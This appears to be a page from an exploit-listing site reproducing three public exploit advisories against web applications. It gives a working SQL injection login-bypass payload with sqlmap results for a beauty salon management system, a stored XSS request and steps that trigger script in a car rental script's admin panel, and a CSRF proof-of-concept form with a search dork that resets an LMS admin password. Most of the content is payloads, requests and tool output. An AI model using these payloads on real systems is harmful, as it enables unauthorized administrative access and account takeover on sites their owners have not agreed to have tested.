Latest exploits :: CodePwn

<pre><code># Exploit Title: Beauty Salon Management System v1.0 - SQLi # Date of found: 04/07/2023 # Exploit Author: Fatih Nacar # Version: V1.0 # Tested on: Windows 10 # Vendor Homepage: https://www.campcodes.com <https://www.campcodes.com/projects/retro-cellphone-online-store-an-e-commerce-project-in-php-mysqli/> # Software Link: https://www.campcodes.com/projects/beauty-salon-management-system-in-php-and-mysqli/ # CWE: CWE-89 Vulnerability Description - Beauty Salon Management System: V1.0, developed by Campcodes, has been found to be vulnerable to SQL Injection (SQLI) attacks. This vulnerability allows an attacker to manipulate login authentication with the SQL queries and bypass authentication. The system fails to properly validate user-supplied input in the username and password fields during the login process, enabling an attacker to inject malicious SQL code. By exploiting this vulnerability, an attacker can bypass authentication and gain unauthorized access to the system. Steps to Reproduce - The following steps outline the exploitation of the SQL Injection vulnerability in Beauty Salon Management System V1.0: 1. Open the admin login page by accessing the URL: http://localhost/Chic%20Beauty%20Salon%20System/admin/index.php 2. In the username and password fields, insert the following SQL Injection payload shown inside brackets to bypass authentication for usename parameter: {Payload: username=admin' AND 6374=(SELECT (CASE WHEN (6374=6374) THEN 6374 ELSE (SELECT 6483 UNION SELECT 1671) END))-- vqBh&password=test&login=Sign In} 3.Execute the SQL Injection payload. As a result of successful exploitation, the attacker gains unauthorized access to the system and is logged in with administrative privileges. Sqlmap results: POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 793 HTTP(s) requests: --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: username=admin' AND 6374=(SELECT (CASE WHEN (6374=6374) THEN 6374 ELSE (SELECT 6483 UNION SELECT 1671) END))-- vqBh&password=test&login=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin' AND (SELECT 1468 FROM (SELECT(SLEEP(5)))qZVk)-- rvYF&password=test&login=Sign In --- [15:58:56] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.2.4, Apache 2.4.56 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : https://gzscripts.com/car-rental-php-script.html │ │ Vendor : GZ Scripts │ │ Software : Car Rental Script 1.8 │ │ Vuln Type: Stored XSS │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ │ │ Allow Attacker to inject malicious code into website, give ability to steal sensitive │ │ information, manipulate data, and launch additional attacks. │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09 CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ## Stored XSS ----------------------------------------------- POST /EventBookingCalendar/load.php?controller=GzFront&action=checkout&cid=1&layout=calendar&show_header=T&local=3 HTTP/1.1 payment_method=pay_arrival&event_prices%5B51%5D=1&event_prices%5B50%5D=1&event_prices%5B49%5D=1&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload&phone=[XSS Payload&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload&additional=xxx&captcha=qqxshj&terms=1&event_id=17&create_booking=1 ----------------------------------------------- POST parameter 'first_name' is vulnerable to XSS POST parameter 'second_name' is vulnerable to XSS POST parameter 'phone' is vulnerable to XSS POST parameter 'address_1' is vulnerable to XSS POST parameter 'country' is vulnerable to XSS ## Steps to Reproduce: 1. As a [Guest User] Select any [Pickup/Return Location] & Choose any [Time] & [Rental Age] - Then Click on [Search for rent a car] - Select Any Car 2. Inject your [XSS Payload] in "First Name" 3. Inject your [XSS Payload] in "Last Name" 4. Inject your [XSS Payload] in "Phone" 5. Inject your [XSS Payload] in "Address Line 1" 6. Inject your [XSS Payload] in "Country" 7. Accept with terms & Press [Booking] XSS Fired on Local User Browser 8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard) XSS Will Fire and Executed on his Browser 9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index) XSS Will Fire and Executed on his Browser [-] Done </code></pre>

<pre><code>==================================================================================================================================== | # Title : Allhandsmarketing LMS v2.0 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | | # Vendor : http://www.allhandsmarketing.com/ | | # Dork : " Design by Allhandsmarketing." | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following html code create a new admin Password. [+] Go to the line 1. [+] Set the target site link Save changes and apply . [+] infected file : /backend/add_newPassword.php . [+] save code as poc.html . [+] default user : admin [+] <form class="form-horizontal" action="http://TARGET/backend/add_newPassword.php" name="form2" id="form2"> <fieldset> <div class="form-group"> <label class="col-md-2 control-label" for="text-field">NEW PASSWORD</label> <div class="col-md-10" id="thumbsite"> <input name="password" id="password" class="form-control" placeholder="Your new password." type="password"> </div> </div> <div class="form-group"> <label class="col-md-2 control-label" for="text-field">RE NEW PASSWORD<meta></label> <div class="col-md-10" id="thumbsite"> <input name="re_password" id="re_password" class="form-control" placeholder="Re password again." type="password" onchange="check_pass()"> </div> </div> <div class="form-group"> <label class="col-md-2 control-label" for="text-field">CHANGE EMAIL</label> <div class="col-md-10" id="thumbsite"> <input name="newEmail" value="" class="form-control" type="email"> </div> </div> </fieldset> <div class=""> <div class="row"> <div class="col-md-12"> <button class="btn btn-default" type="clear"> Cancel </button> <button class="btn btn-primary" id="submit-form" name="submit-form" type="submit"> Submit </button> </div> </div> </div> </form> Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>